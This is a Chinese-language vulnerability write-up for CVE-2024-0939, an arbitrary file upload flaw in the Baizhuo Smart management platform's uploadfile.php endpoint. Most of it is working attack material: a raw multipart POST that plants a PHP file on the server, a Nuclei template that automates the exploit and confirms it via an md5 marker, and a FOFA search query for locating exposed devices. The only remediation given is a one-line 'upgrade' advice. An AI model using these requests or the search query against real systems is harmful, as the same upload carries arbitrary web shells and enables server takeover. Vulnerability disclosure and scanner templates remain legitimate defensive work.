百卓Smart管理平台 uploadfile.php 文件上传漏洞(CVE-2024-0939)

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Ⅰ、漏洞描述

百卓 Smart只管理平台是北京百卓网络技术有限公司(以下简称百卓网络)的一款安全网关产品，是一家致力于构建下一代安全互联网的高科技企业。

百卓Smart管理平台 uploadfle.php 接口存在任意文件上传漏洞。恶意攻击者可能利用此漏洞上传而恶意文件，从而导致服务器失陷。

影响版本

smart_s210

smart_s210_firmware

Ⅱ、fofa语句

title="Smart管理平台"

Ⅲ、漏洞复现

POC

POST /Tool/uploadfile.php? HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Upgrade-Insecure-Requests: 1
Connection: close
 
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="ceshi.php"
Content-Type: application/octet-stream
 
<?php echo md5('666');unlink(__FILE__);?>
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"
 
/home/ceshi.php
-----------------------------13979701222747646634037182887--

1、构建poc

2、访问

Ⅳ、Nuclei-POC

id: Baizhuo-Smart-upload
 
info:
  name: 百卓Smart管理平台 uploadfle.php 接口存在任意文件上传漏洞。恶意攻击者可能利用此漏洞上传而恶意文件，从而导致服务器失陷。
  author: WLF
  severity: high
  metadata: 
    fofa-query: title="Smart管理平台"
variables:
  filename: "{{to_lower(rand_base(10))}}"
  boundary: "{{to_lower(rand_base(20))}}"
http:
  - raw:
      - |
        POST /Tool/uploadfile.php? HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        Accept-Encoding: gzip, deflate
        Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
        Upgrade-Insecure-Requests: 1
        Connection: close
        
        -----------------------------13979701222747646634037182887
        Content-Disposition: form-data; name="file_upload"; filename="{{filename}}.php"
        Content-Type: application/octet-stream
        
        <?php echo md5('666');unlink(__FILE__);?>
        -----------------------------13979701222747646634037182887
        Content-Disposition: form-data; name="txt_path"
        
        /home/{{filename}}.php
        -----------------------------13979701222747646634037182887--
 
      - |
        GET /home/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
 
 
    matchers:
      - type: dsl
        dsl:
          - status_code==200 && contains_all(body,"fae0b27c451c728867a567e8c1bb4e53")

Ⅴ、修复建议

升级至安全版本